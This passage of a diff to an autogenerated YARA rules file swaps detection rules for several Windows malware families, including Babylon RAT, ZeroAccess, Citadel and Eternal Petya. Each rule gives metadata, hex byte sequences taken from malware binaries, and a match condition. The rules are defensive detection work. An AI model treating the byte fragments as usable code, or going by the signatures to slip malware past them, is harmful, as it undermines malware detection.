$sequence_9 = { 8b542428 33c0 89442414 53 8944241c 33c9 } + $sequence_0 = { c3 68???????? 8d95ecfdffff 52 } + $sequence_1 = { 0f84de000000 3bf3 0f84d6000000 8b4110 0fb75704 } + $sequence_2 = { 752c ff15???????? 6a05 6a00 6a00 } + $sequence_3 = { 0f84d3000000 33d2 668910 8d85d4f9ffff } + $sequence_4 = { 8b01 33ff 8995f4efffff 397e10 0f86cf000000 } + $sequence_5 = { 83ffff 0f8456ffffff 8b95d4fbffff 6a00 8d8dd0fbffff 51 } + $sequence_6 = { 8bd1 03d7 c785ecefffff00000000 1385ecefffff 89bde8efffff } + $sequence_7 = { 8b8570d2ffff 8b5038 837a3400 7513 8b8d84d2ffff 8b5028 } + $sequence_8 = { 40 80b9b075410000 74e8 8a13 0fb6ca 0fbe89b0754100 } + $sequence_9 = { 33c0 894610 894614 894618 89461c 8b4620 8b4f28 } condition: - 7 of them and filesize < 450560 + 7 of them and filesize < 245760 } -rule MALPEDIA_Win_Babyshark_Auto : FILE +rule MALPEDIA_Win_Babylon_Rat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "bba62dea-b8fb-5177-af59-ee7484609223" + id = "bc5c3c5f-b09f-560b-a5c8-4129e77b8b02" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.babyshark" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.babyshark_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.babylon_rat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.babylon_rat_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "170a55c792dd841a430b5276e4b7ea8cd0c0e2d28c406b503a22728951bd6c1d" + logic_hash = "2a5b12d9c48bc80c359b824ca684a979c3525be47a37762af45326a7566f7848" score = 75 quality = 75 tags = "FILE" @@ -95647,32 +95913,32 @@ rule MALPEDIA_Win_Babyshark_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83c40c 8d4c2404 6a00 51 ffd6 6a00 } - $sequence_1 = { 8bc8 83e01f c1f905 8b0c8d607e4000 8a44c104 83e040 } - $sequence_2 = { 8b0c8d607e4000 8a44c104 83e040 c3 a1???????? } - $sequence_3 = { bf???????? f3ab 8d3452 895dfc c1e604 aa 8d9ec8674000 } - $sequence_4 = { 80e920 ebe0 80a0206c400000 40 3bc6 72be 5e } - $sequence_5 = { 8db6bc674000 bf???????? a5 a5 59 a3???????? } - $sequence_6 = { 8a8094504000 83e00f eb02 33c0 0fbe84c6b4504000 } - $sequence_7 = { c1f804 83f807 8945d0 0f879a060000 ff2485271a4000 834df0ff } - $sequence_8 = { 5e 8d0c8dc8614000 3bc1 7304 3910 7402 } - $sequence_9 = { ff15???????? 8bf0 68???????? 8d442408 68???????? 50 } + $sequence_0 = { 8b4610 83c40c 8b4dfc 8b4c080c 8b45f4 3b01 7413 } + $sequence_1 = { ff75ec e8???????? 59 59 85ff 0f8541010000 8b0b } + $sequence_2 = { ff75c0 6a23 56 e8???????? 6a01 56 e8???????? } + $sequence_3 = { 8b450c f6402a20 753d 51 ff75f4 6a70 53 } + $sequence_4 = { ff3402 e8???????? 8bf0 83c404 803e9a 0f85a6000000 8b55bc } + $sequence_5 = { eb5e 83f8fa 7508 897e10 884601 eb51 83f8f6 } + $sequence_6 = { 8d4801 66894dbc 8b4620 8945a4 8b450c 8945b0 8b06 } + $sequence_7 = { 85f6 7e4c c7451007000000 53 8b450c 0fbe5c1001 0fbe0c10 } + $sequence_8 = { ff75f4 ffb57cffffff 53 56 e8???????? 83c42c 837dc000 } + $sequence_9 = { ffb3ac000000 e8???????? 8bbbac000000 be???????? 8b4dfc 03f9 51 } condition: - 7 of them and filesize < 65272 + 7 of them and filesize < 1604608 } -rule MALPEDIA_Win_Nim_Blackout_Auto : FILE +rule MALPEDIA_Win_Fct_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "52c7d5e9-12a7-539a-90b8-852642880eb0" + id = "d02b72bc-5bf1-5377-8d43-512cbfd79322" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nim_blackout" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nim_blackout_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fct" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fct_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "6c5cae00e9c851f788aea7ba4107707f8738f1e8e9b098f9929e9947fb70cddd" + logic_hash = "cc0dc64d7cd3b6633f3a5f0a0519f80550bbd17b8f06fffbd5263c4f40c48188" score = 75 quality = 75 tags = "FILE" @@ -95686,32 +95952,32 @@ rule MALPEDIA_Win_Nim_Blackout_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 55 4889e5 4883ec30 48894d10 488b05???????? 4885c0 750d } - $sequence_1 = { 488b00 eb05 b800000000 483b85a8000000 7f30 4883bdf800000000 } - $sequence_2 = { 48c745c0c0000000 488d05ad7e0100 488945c8 488b45f0 488945f8 eb40 90 } - $sequence_3 = { 48c1e003 4801d0 488b00 4885c0 741a 488b4510 488b5008 } - $sequence_4 = { 488905???????? 488b05???????? 4885c0 750c 488d0d229c0100 e8???????? 488b05???????? } - $sequence_5 = { 488b45f8 488905???????? eb01 90 e8???????? 90 4883c460 } - $sequence_6 = { 488d05dd770100 488945e8 488b4510 488b00 ba08000000 4889c1 e8???????? } - $sequence_7 = { 488945f8 48c745d07b000000 488d05d02a0200 488945d8 488b45f8 488d14c500000000 488b4518 } - $sequence_8 = { 488d05ed680100 48894558 ba00000000 488b85b8000000 4883c001 7105 ba01000000 } - $sequence_9 = { 488d05d2af0200 488945e8 488b5510 488b05???????? 488d4818 e8???????? e8???????? } + $sequence_0 = { 803d????????00 753c c705????????60504100 c705????????88534100 c705????????80524100 e8???????? } + $sequence_1 = { 8365c000 c745c42b2e4000 a1???????? 8d4dc0 33c1 8945c8 8b4518 } + $sequence_2 = { ffb52cfdffff 6a01 e8???????? 8d8d80fdffff } + $sequence_3 = { 0f434dd8 3bc2 772c 8d3400 898544fdffff 83fa08 8dbd34fdffff } + $sequence_4 = { 83c8ff eb07 8b04f574204100 5f 5e 5b } + $sequence_5 = { 03348d50614100 837e18ff 740c 837e18fe 7406 } + $sequence_6 = { 83c102 6685c0 75f5 8b5dec } + $sequence_7 = { 8bc3 d1f9 2bc2 3bc8 772f 83fb08 } + $sequence_8 = { eb1e 6a02 68???????? c6854cfdffff00 8d4dbc } + $sequence_9 = { 33c0 6689047e eb21 6a04 } condition: - 7 of them and filesize < 1068032 + 7 of them and filesize < 204800 } -rule MALPEDIA_Win_Backspace_Auto : FILE +rule MALPEDIA_Win_Acidbox_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "fb0b0e7f-6932-5f0b-957b-77772fb8dfd5" + id = "e7057136-2c24-5d9e-851b-e4da203a95ed" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.backspace" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.backspace_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.acidbox" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.acidbox_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "8089ff963941257a60e744d7204434da2ea9ab918c2bf4c32b875cf83b55a865" + logic_hash = "b9bd6906be69a76719ed536d0340b9bf2024c75961d5ef4e84e1394f2a4d90af" score = 75 quality = 75 tags = "FILE" @@ -95725,32 +95991,32 @@ rule MALPEDIA_Win_Backspace_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d8578fdffff 56 50 89b579fdffff e8???????? } - $sequence_1 = { 90 745f 90 13c9 90 eb20 } - $sequence_2 = { 68???????? 50 ff15???????? 6a0a 58 } - $sequence_3 = { 6a00 68???????? 68???????? 6a50 56 e8???????? 83c420 } - $sequence_4 = { 7e1a 8b4c240c 8b442404 56 2bc1 8bf2 } - $sequence_5 = { f7f9 55 8b35???????? 8bd8 a1???????? 2b05???????? 0fafc3 } - $sequence_6 = { 66ab aa 8d8580fdffff 6800020000 50 53 } - $sequence_7 = { a1???????? 57 40 50 ff15???????? 85c0 0f8fa3000000 } - $sequence_8 = { c3 55 8bec b808200000 e8???????? 53 56 } - $sequence_9 = { 57 50 ffd6 83c418 85db } + $sequence_0 = { e8???????? 89442430 85c0 0f841a010000 } + $sequence_1 = { 33d2 e9???????? 41c1ee04 33d2 83c6fc 418bce 83e10f } + $sequence_2 = { 488bce e8???????? 397e18 750b 834b40ff 33c0 e9???????? } + $sequence_3 = { 48895c2408 57 4883ec30 488bfa 33db 4885c9 7479 } + $sequence_4 = { 4883ec58 488bf1 bf01200480 8978a8 33db 48895818 448bf3 } + $sequence_5 = { e8???????? 3b4704 7513 4d897500 8b4708 33db 418907 } + $sequence_6 = { 4d85f6 741a 33d2 41b880010000 498bce ff15???????? 498bce } + $sequence_7 = { 488b7128 4885ff 0f84e1000000 4885f6 0f84d8000000 488d8424c0000000 4889442420 } + $sequence_8 = { 81790800000306 7308 418bc6 e9???????? 488d842418010000 4889442420 41b9a0000000 } + $sequence_9 = { 897918 488b03 488b8898000000 89791c 488b03 488b8898000000 c7413809000000 } condition: - 7 of them and filesize < 131072 + 7 of them and filesize < 589824 } -rule MALPEDIA_Win_Dinodas_Rat_Auto : FILE +rule MALPEDIA_Win_Reedbed_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "431aac36-5429-5cb6-a22f-6d22f4b46964" + id = "74769a46-8253-5d47-b255-0c21b0e137a7" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dinodas_rat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dinodas_rat_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.reedbed" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.reedbed_auto.yar#L1-L143" license_url = "N/A" - logic_hash = "f12d1a523704ecc621dca1f8d26285a0bb3fbc82969aec41d1e0b2ffd38a67b5" + logic_hash = "9739a2569b16e57b90481814e6cc540a2c3a0da3aecf12af2fc73ab886c25305" score = 75 quality = 75 tags = "FILE" @@ -95764,32 +96030,36 @@ rule MALPEDIA_Win_Dinodas_Rat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bf0 33c9 83c404 8975ec 3bf1 745c 8b4704 } - $sequence_1 = { ffd2 8b9d94fdffff 8d8da0fdffff 51 53 ff15???????? } - $sequence_2 = { c745a80f000000 e8???????? c645fc01 a1???????? 6aff 50 ff15???????? } - $sequence_3 = { 8d45b4 e9???????? 8d45a8 e9???????? 8d75d4 e9???????? 8d75b8 } - $sequence_4 = { 6a00 6a01 ff15???????? 8bf8 85ff 741a 6a00 } - $sequence_5 = { 8d4d9c 68???????? 51 e8???????? 83c40c 397594 720c } - $sequence_6 = { 8bce 8bf3 83f804 7217 8d4900 8b16 3b11 } - $sequence_7 = { 8b4204 ffd0 8b4d0c 51 e8???????? 83c404 8937 } - $sequence_8 = { 83e810 e8???????? 8d7010 8975c4 c645fc07 8b4714 } - $sequence_9 = { 8d75b8 e9???????? 8d759c e9???????? 8db578ffffff e9???????? 8db548ffffff } + $sequence_0 = { 33c9 e8???????? 488b0d???????? 488981c2140000 } + $sequence_1 = { 33c9 ff15???????? 85c0 751e } + $sequence_2 = { 4885c9 7405 e8???????? 33c0 0f57c0 } + $sequence_3 = { eb19 488d15e3d10100 eb10 488d15cad10100 eb07 488d15b5d10100 4533c0 } + $sequence_4 = { 4c8d0d44e50000 b919000000 4c8d0534e50000 488d1531e50000 e8???????? } + $sequence_5 = { 488bd8 4885c0 7431 488bc8 ff15???????? 83f8ff } + $sequence_6 = { 8364244000 4c8d4c2440 baffff0000 c744242004000000 41b801000000 } + $sequence_7 = { 488b83a6140000 4c8974080e 4883c13f 483bcf 7ceb e8???????? 33c9 } + $sequence_8 = { c7450400000000 c7452400000000 488b8548010000 83780a00 } + $sequence_9 = { c7450400000000 c7452400000000 488b85a0010000 4883b8a614000000 } + $sequence_10 = { c7450400000000 83bd0801000000 7515 488d15ce130f00 } + $sequence_11 = { c7450400000000 ba01000000 b900003f00 e8???????? } + $sequence_12 = { c7450400000000 c7452400000000 488b8540010000 8b808c140000 } + $sequence_13 = { c7450400000000 837d0400 7534 488b8580010000 } condition: - 7 of them and filesize < 638976 + 7 of them and filesize < 3760128 } -rule MALPEDIA_Win_Underminer_Ek_Auto : FILE +rule MALPEDIA_Win_Zeroaccess_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "25419d82-2049-52ba-8173-e803bede2897" + id = "b43bafa0-7845-5d97-89eb-71fc1e8384a0" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.underminer_ek" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.underminer_ek_auto.yar#L1-L168" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeroaccess" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zeroaccess_auto.yar#L1-L139" license_url = "N/A" - logic_hash = "cef777a253424ada6724fda25a7a7fc2a7d290e0894ee3bdc7ea6fd0d09bd9ea" + logic_hash = "58e6fa201d2edf5394810209f43ab6a140ff615859a9e38ec78386b3f1a7fa21" score = 75 quality = 75 tags = "FILE" @@ -95803,38 +96073,36 @@ rule MALPEDIA_Win_Underminer_Ek_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 56 e8???????? 83c404 53 e8???????? 83c404 8b551c } - $sequence_1 = { 25ffff0000 3d4ee640bb 7404 3bc1 7501 } - $sequence_2 = { 83c40c 66394e06 894d10 7630 83c710 8b07 } - $sequence_3 = { 03c3 8901 eb18 3daafc0d7c } - $sequence_4 = { 7463 8b55f4 8b0495582c4300 f644382848 } - $sequence_5 = { 8ad0 8adc 88550f 807e0700 7417 0fb6813051fa7e 8a4dff } - $sequence_6 = { 6a06 53 ff7508 53 ff55f0 85c0 7c07 } - $sequence_7 = { 0f8535010000 83bd88feffff00 0f85a4040000 807d9a01 } - $sequence_8 = { 885c012e 8b0495582c4300 804c012d04 46 } - $sequence_9 = { c745f800000000 0f8444040000 837d3000 0f843a040000 } - $sequence_10 = { 0f8776050000 52 51 e8???????? 83c408 c745c000000000 } - $sequence_11 = { c745fc20000000 eb21 8bd0 83e220 } - $sequence_12 = { 3e58 3e7f3e 98 3e4a } - $sequence_13 = { 47 8d5101 0f1f8000000000 8a01 41 84c0 } - $sequence_14 = { 66895dc0 ff7508 895dec ab ff760c 895df8 ab } - $sequence_15 = { e8???????? 83c410 eb03 8d041a 5b 5d c3 } + $sequence_0 = { ff15???????? 85c0 7408 ff15???????? eb02 } + $sequence_1 = { 8b01 ff761c ff7618 ff5004 } + $sequence_2 = { 50 68???????? 6889001200 8d45fc } + $sequence_3 = { 6a01 8d45f4 50 ff7608 ff15???????? } + $sequence_4 = { 48 83c9ff c744242804000000 48 } + $sequence_5 = { 3bf8 730e 2bc7 e8???????? } + $sequence_6 = { 68060000c8 ff7708 ff15???????? 85c0 } + $sequence_7 = { 6a10 68???????? 68060000c8 ff7708 } + $sequence_8 = { 740c bf03000040 eb05 bf010000c0 85ff } + $sequence_9 = { 3bc1 7604 83c8ff c3 } + $sequence_10 = { ff15???????? 85c0 7407 b8e3030000 } + $sequence_11 = { 89742438 897c2448 e8???????? 48 } + $sequence_12 = { eb06 ff15???????? 48 8b9520020000 4c } + $sequence_13 = { 85c0 750c 8d7808 e8???????? ffcf 75f7 833d????????06 } condition: - 7 of them and filesize < 466944 + 7 of them and filesize < 464896 } -rule MALPEDIA_Win_Chaperone_Auto : FILE +rule MALPEDIA_Win_Banjori_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5d73acaa-0673-57ad-848f-864644fbbeea" + id = "b7079fb2-7d83-5fd6-84aa-1cae4150d033" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chaperone" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.chaperone_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.banjori" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.banjori_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "891c6d4b90ff2712f27f9dbb971bf9587d22b60dd85391f9a0f86beba2f74383" + logic_hash = "816a568e5c1724a9f1a3d5f87d5d1a32e57fcc3fa600870ee04fd6629cdfe757" score = 75 quality = 75 tags = "FILE" @@ -95848,32 +96116,32 @@ rule MALPEDIA_Win_Chaperone_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488b442458 4839442428 0f8dd0000000 0fb6442421 83c001 } - $sequence_1 = { ff15???????? 48898424902b0000 488d742470 488bbc24902b0000 b990180000 } - $sequence_2 = { b9ffff1f00 ff15???????? 4889842450020000 4883bc245002000000 0f842b020000 4c8d842458020000 baff010f00 } - $sequence_3 = { 48898424c0020000 837c243400 746b 4c8b842490000000 8b542434 488b8c24c0020000 } - $sequence_4 = { 488d7c2450 488d35fba70000 b926000000 f3a4 } - $sequence_5 = { 4889542410 48894c2408 4883ec48 488b442460 0fb68000010000 88442421 } - $sequence_6 = { 488b0424 480590180000 48890424 ebb7 488b442420 } - $sequence_7 = { 85c0 750a b801000000 e9???????? 488d442440 4889842498030000 488d842460030000 } - $sequence_8 = { 4533c9 4533c0 33d2 33c9 e8???????? 488d158a090100 } - $sequence_9 = { 488bd9 448d6eff 443bd7 754f 4c8d0565ce0000 458bcd ba00010000 } + $sequence_0 = { 75f1 b0ec fd f2ae 817ffd8bff558b 75f5 fc } + $sequence_1 = { ff15???????? ff75ec ff15???????? 40 50 ff75ec 6a01 } + $sequence_2 = { ff75f8 ff15???????? 8d3dac169500 57 ff15???????? 40 50 } + $sequence_3 = { 53 53 53 8d45ec 50 ff75f0 ff75f8 } + $sequence_4 = { 8985b0feffff 83f864 0f82c2000000 40 50 6a40 ff15???????? } + $sequence_5 = { 395df0 741b 53 53 53 53 53 } + $sequence_6 = { e9???????? 55 8bec 83c4f4 57 56 53 } + $sequence_7 = { 0145f4 6a42 ff75f4 ff75f8 ff15???????? 8945f8 ff75dc } + $sequence_8 = { 68f1000000 51 ff15???????? 8b4e08 e32c 894de4 895de8 } + $sequence_9 = { 7808 3d64696a6e 90 7507 e8???????? ebc7 ff35???????? } condition: - 7 of them and filesize < 373760 + 7 of them and filesize < 139264 } -rule MALPEDIA_Win_Tellyouthepass_Auto : FILE +rule MALPEDIA_Win_Citadel_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "354e0e6c-ccce-5215-81be-86e86c2d035f" + id = "405c8c54-58ec-5453-982e-e98970e4bd4a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tellyouthepass" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tellyouthepass_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.citadel" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.citadel_auto.yar#L1-L160" license_url = "N/A" - logic_hash = "dc25f522d82a6df0aaae3de9d80ac3b6a17f46baeb51d065b8c3d1eda2c481dc" + logic_hash = "9d24b0310c4a8508a9f96dd7e09a8073428bd68f73c4d97c0967ade9f8cc7c1c" score = 75 quality = 75 tags = "FILE" @@ -95887,32 +96155,38 @@ rule MALPEDIA_Win_Tellyouthepass_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488b0d???????? eb0a 488b4c2448 488b5c2420 48894c2440 48895c2428 488d050b4e1000 } - $sequence_1 = { 4d85c0 7f1d 488b8c24f0000000 488b9424f8000000 488b9c24a8010000 e9???????? 4889bc2418010000 } - $sequence_2 = { f20f10442440 e8???????? 488d051a1f1a00 bb0c000000 6690 e8???????? e8???????? } - $sequence_3 = { 80f902 7345 884c2417 0fb6d1 4889542420 48c1e206 488d35728f3000 } - $sequence_4 = { 48c740102c000000 833d????????00 750d 488d0d57b70600 48894808 eb10 488d7808 } - $sequence_5 = { 4c8b4028 4c8b4830 4c8b5020 488dbc2490010000 488d3585530b00 48896c24f0 488d6c24f0 } - $sequence_6 = { 6690 eb10 488d7a70 488d155b4b0d00 e8???????? 90 488b15???????? } - $sequence_7 = { bb06000000 90 e8???????? 488b442410 e8???????? 488d0525631700 bb0b000000 } - $sequence_8 = { eb09 4889c7 90 e8???????? 488d0514690e00 488b5c2438 488d0d73e11000 } - $sequence_9 = { eb14 488d7818 488b8c24c0020000 0f1f00 e8???????? 48c740100b000000 488d0d9ed01300 } + $sequence_0 = { eb0e 6800800000 53 57 } + $sequence_1 = { 03f7 6a0d 5f e8???????? } + $sequence_2 = { 3d00002003 7715 8b4d08 890e } + $sequence_3 = { 50 57 e8???????? 33db 3c01 } + $sequence_4 = { 41 66395802 7405 83c002 } + $sequence_5 = { a1???????? 57 e8???????? 8945fc 3bc3 } + $sequence_6 = { ff15???????? 85c0 0f8566010000 57 57 57 } + $sequence_7 = { 33c9 663918 7507 41 } + $sequence_8 = { eb81 d0e9 3aca 73fa 0fb6c9 8b04c8 ebae } + $sequence_9 = { 8b5004 0310 8d7101 3bf2 } + $sequence_10 = { 6685c0 7432 66ff460e 6639460e 7228 } + $sequence_11 = { 33c0 85c0 7409 3255fd } + $sequence_12 = { 6685c0 7432 66ff460c 6639460c } + $sequence_13 = { 5b b001 eb30 d0e8 } + $sequence_14 = { 85c0 740b 8a5604 8a4e01 ffd0 884601 33c0 } + $sequence_15 = { ffd0 8807 fe45ff 8a45ff 3a06 72c4 0fb7460a } condition: - 7 of them and filesize < 7152640 + 7 of them and filesize < 1236992 } -rule MALPEDIA_Win_Daolpu_Auto : FILE +rule MALPEDIA_Win_Eternal_Petya_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3b0894e5-1a8e-5546-8c9e-1b741fdf5950" + id = "0622b1c6-50a1-59bf-9c9e-674c89b8f214" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.daolpu" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.daolpu_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.eternal_petya" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.eternal_petya_auto.yar#L1-L112" license_url = "N/A" - logic_hash = "8005f7b5dce3eec7097b3ee19274ed96f4a8267ee8f070756b8e93cef441b9c0" + logic_hash = "dc100556655eac63f6dd0a579c598175f64f6a920c350da1549a31a39dd0acc6" score = 75 quality = 75 tags = "FILE" @@ -95926,32 +96200,32 @@ rule MALPEDIA_Win_Daolpu_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7506 4883c460 5b c3 a804 7409 488d1dbe721100 } - $sequence_1 = { 7439 488b442470 488b8080000000 4883c008 4889442438 488b442470 488b4c2438 } - $sequence_2 = { 498bf8 488bf2 488bd9 0f85bc000000 80b9ae0a000000 0f85af000000 41b80f000000 } - $sequence_3 = { 48ffca 4d85f6 75ec e9???????? 83f840 0f85d0000000 4d8b7610 } - $sequence_4 = { 897c2428 448be2 44896c2424 8944242c 3801 0f8411050000 0f1f840000000000 } - $sequence_5 = { e8???????? 8b442428 c1f806 4898 488d0da3a10600 8b542428 83e23f } - $sequence_6 = { 498b4c2448 ff15???????? 0f104500 488bcd 410f110424 0f104d10 410f114c2410 } - $sequence_7 = { 66ffc3 66413bdf 0f864fffffff 488d15adc40a00 498bce e8???????? e9???????? } - $sequence_8 = { 7501 cc 48c744242000000000 41b951050000 4c8d05cd131200 488d158e141200 488d0dff151200 } - $sequence_9 = { e8???????? 0f57c0 f30f7f4558 4c896568 488b4d50 4c896550 ba10000000 } + $sequence_0 = { 8d4644 50 53 6a02 } + $sequence_1 = { 8bec 51 57 68000000f0 6a18 33ff } + $sequence_2 = { 68f0000000 6a40 ff15???????? 8bd8 } + $sequence_3 = { 57 68000000f0 6a18 33ff } + $sequence_4 = { 55 8bec 51 57 68000000f0 } + $sequence_5 = { 55 8bec 51 57 68000000f0 6a18 } + $sequence_6 = { 53 8d4644 50 53 } + $sequence_7 = { 55 8bec 51 57 68000000f0 6a18 33ff } + $sequence_8 = { 51 57 68000000f0 6a18 } + $sequence_9 = { 53 68f0000000 6a40 ff15???????? } condition: - 7 of them and filesize < 2877440 + 7 of them and filesize < 851968 } -rule MALPEDIA_Win_Quickheal_Auto : FILE +rule MALPEDIA_Win_Opachki_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "32c5b738-c920-5a30-a6ba-c9a05fe50d12" + id = "e10cd0eb-a431-57d1-b7ee-f206637aeb79" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.quickheal" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.quickheal_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.opachki" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.opachki_auto.yar#L1-L158" license_url = "N/A" - logic_hash = "b1666ee1e28f71dc83ee325a607900259e0027addcd09d0a51064c380d4fc4c7" + logic_hash = "9a87a4a85fda49db5f8b260ce2dd4c073885fccbbbb43ca421b7fe7db663b448" score = 75 quality = 75 tags = "FILE" @@ -95965,32 +96239,37 @@ rule MALPEDIA_Win_Quickheal_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 33c0 8d7c2431 c78424ec0300001c010000 f3ab 66ab } - $sequence_1 = { 66898c2494040000 b940000000 f3ab c784249800000003000000 c78424cc000000058288a2 } - $sequence_2 = { 8b542414 6a07 52 895c2478 895c247c } - $sequence_3 = { 8944242c 55 e9???????? ffd6 68???????? 57 8944243c } - $sequence_4 = { 89542450 f7d1 89542454 49 8bf9 8d043f 50 } - $sequence_5 = { 7527 85ed 7523 8b4c2414 e8???????? 53 892d???????? } - $sequence_6 = { 8d5c2410 83c404 8944240c c1eb04 8d740704 e8???????? 3206 } - $sequence_7 = { ffd7 3bc3 0f845d040000 8d8c24d8150000 2bc6 } - $sequence_8 = { 23e9 f7d2 23d6 0bd5 8b6c243c 03d5 03da } - $sequence_9 = { 8b542420 c1f802 8d0440 3bd0 0f8c8e030000 8d46fc 53 } + $sequence_0 = { eb69 8b5508 8b4904 53 } + $sequence_1 = { 57 6a0d 68???????? 8d4ddc e8???????? 68ff000000 } + $sequence_2 = { c3 55 8bec 81ec00010000 ff7508 } + $sequence_3 = { ff15???????? 8d8500ffffff 50 ff7508 e8???????? 59 59 } + $sequence_4 = { 034604 50 ff15???????? 8b4708 } + $sequence_5 = { 57 8b7d0c 8a0f 894508 84c9 744d 8a10 } + $sequence_6 = { 894708 c6040800 5b 5f } + $sequence_7 = { 33c0 c706???????? 894608 89460c 894604 e8???????? 8bc6 } + $sequence_8 = { 2b442424 aa 8944241c 61 } + $sequence_9 = { ebc1 3c67 7507 884705 b301 ebb6 } + $sequence_10 = { 00f0 8a0c01 f6c101 0f84b9000000 ac 884708 88c5 } + $sequence_11 = { 31db 99 b125 f3aa } + $sequence_12 = { 83c140 eb0a 3ca0 7206 } + $sequence_13 = { 08db 752b 46 88470c 88c4 c0ec06 } + $sequence_14 = { 08db 7409 80fe06 750b } condition: - 7 of them and filesize < 553984 + 7 of them and filesize < 122880 } -rule MALPEDIA_Win_Nokoyawa_Auto : FILE +rule MALPEDIA_Win_Slowstepper_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5fa67854-5271-511e-bc7c-fd346224ae86" + id = "83f15ae7-3874-55c6-9009-11d19ac08b8c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nokoyawa" - source_url = 